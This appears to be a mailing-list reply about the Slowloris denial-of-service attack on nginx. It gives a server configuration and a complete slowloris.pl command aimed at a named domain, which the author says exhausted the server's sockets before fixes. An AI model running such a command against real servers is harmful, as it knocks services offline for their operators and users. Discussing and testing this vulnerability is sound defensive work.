Jérôme Loyet wrote:
> this attack works great on apache but I was unable, yet, to make it
> works on nginx (0.8.3).
>

On nginx it exhuases the available sockets. My setup is nginx-0.7.58
with cofig: :

worker_processes 4;
worker_rlimit_nofile 5000;
events {
worker_connections 2048;
use epoll;
}


and without the fixes I could DoS the server with:
./slowloris.pl -dns photomoment.bg -timeout 30 -num 10000 -tcpto 5

exhausts available sockets and the server stops replying to new requests.

Sorry for the late reply.

Luben